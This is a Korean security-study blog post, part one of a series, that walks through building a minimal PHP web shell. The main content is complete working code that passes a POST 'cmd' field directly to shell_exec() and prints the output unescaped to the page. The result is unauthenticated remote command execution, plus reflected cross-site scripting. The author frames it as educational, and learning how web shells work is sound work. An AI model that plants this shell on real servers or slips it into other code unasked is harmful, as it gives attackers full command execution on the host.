[Web] PHP기반 간단한 명령어 실행 WebShell 제작 (part1)

2024. 9. 23. 12:34·CERT/Web

서론

오늘은 PHP를 사용해 사용자가 입력한 명령어를 서버에서 실행하고 그 결과를 웹 페이지에 출력하는 간단한 웹 페이지를 만드는 방법에 대해서 알려드리려고 합니다. 사용자가 웹 페이지에서 cmd 명령어를 입력하면 서버에서 그 명령어를 실행하고 결과를 화면에 출력하는 간단한 PHP 스크립트를 작성하였습니다.


페이지 동작방식

페이지의 동작방식은 [사용자 입력 → 서버 명령어 처리 → 실행 결과 반환 순서 ]로 이루어진다. 해당 과정은 사용자가 입력한 값이 서버에 전달되는 방식과 서버에서 이를 처리하고 사용자에게 출력하는 예시 흐름은 다음과 같이 동작하게 된다.

  1.  사용자가 웹 페이지에 접속한다.
  2.  사용자가 명령어를 입력한 후 Execute 버튼을 클릭하면 해당 명령어가 서버로 전송된다.
  3. 서버에서 사용자가 입력한 명령어를 받아 처리한다.
  4. 처리된 결과값을 다시 사용자 웹페이지에 출력한다.

PHP & HTML Code

이 코드는 PHP의 shell_exec() 함수를 사용해서 서버에서 명령어를 실행하고 그 결과를 웹 페이지에 표시하는 코드입니다.
사용자가 명령어를 입력하면 POST 방식으로 서버에 전달되고 $_post ["cmd"]를 통하여 입력된 명령어를 가져오고 값이 없다면 빈 문자열을 할당하게 됩니다. shell_exec 함수는 서버에서 명령어를 실행하고 그 결과값을 문자열로 처리하게 됩니다.

<?php
    // GET 방식으로 페이지 URL을 가져옴
    $page = htmlspecialchars($_SERVER["PHP_SELF"]);

    // POST 방식으로 cmd 값을 가져옴
    $cmd = isset($_POST["cmd"]) ? $_POST["cmd"] : '';

    // 명령어 실행 결과값을 반환
        $result = '';
        if (!empty($cmd)) {
            // shell_exec 사용하여 명령어 실행
            $result = shell_exec($cmd);
            // 결과값이 있을 경우 줄바꿈을 HTML <br>로 변경
            $result = str_replace("\n", "<br>", $result);
        }
?>

<!-- HTML 폼을 작성 -->
<form action="<?= $page ?>" method="POST">
    <input type="text" name="cmd" value="<?=$cmd?>">
    <input type="submit" value="Execute">
</form>
    <hr>
<table style="border: 1px solid black; background-color:black">
    <tr>
        <td style="color:white; font-size: 12px"><?=$result?></td>
    </tr>
    <!-- 명령어 실행 결과 출력 -->
</table>

 

127.0.0.1/cmd.php 웹페이지에 접속하면 다음과 같이 사용자가 명령어를 입력하는 텍스트 입력창과 Execute가 나타난다.

 

사용자가 명령어를 입력하는 텍스트 입력창에 ipconfig를 입력하고 Execute 버튼을 누르면 입력된 명령어가 서버로 전송되어 명령어를 처리하고 그 결과값을 웹 페이지에 출력하게 됩니다.



 


위에서 다룬 PHP 코드는 매우 간단하게 서버에서 명령어를 실행할 수 있도록 교육 목적으로 만들었습니다.

 

저작자표시 비영리 동일조건 (새창열림)

'CERT > Web' 카테고리의 다른 글

[Web] PHP기반 WebShell 인증기능 추가 (part2)  (0) 2024.09.23
[Web] PHP기반으로 Web에서 파일 업로드 제작  (1) 2024.09.17
[Web] GET&POST 방식 정의 및 차이점  (0) 2024.09.17
[웹 취약점] 웹 셸(Web shell) 정의 및 종류  (2) 2024.09.16
[웹 취약점] 파일 업로드 및 다운로드 취약점 개념  (1) 2024.09.16
'CERT/Web' 카테고리의 다른 글
  • [Web] PHP기반 WebShell 인증기능 추가 (part2)
  • [Web] PHP기반으로 Web에서 파일 업로드 제작
  • [Web] GET&POST 방식 정의 및 차이점
  • [웹 취약점] 웹 셸(Web shell) 정의 및 종류
Sky Guard
Sky Guard
정보보안을 꿈꾸는 대학생
  • Sky Guard
    SkyGuard Space
    Sky Guard
  • 전체
    오늘
    어제
    • Total (14)
      • Goorm life (1)
        • K-Digital academy (1)
      • Information Security (1)
        • Malware Analysis (1)
      • CERT (6)
        • Web (6)
      • 자격증 (2)
        • 정보보안기사 (2)
      • 악성코드 (1)
        • Reversing (1)
      • Mobile (3)
  • 최근 글

  • 인기 글

  • hELLO· Designed By정상우.v4.10.0
Sky Guard
[Web] PHP기반 간단한 명령어 실행 WebShell 제작 (part1)
상단으로

티스토리툴바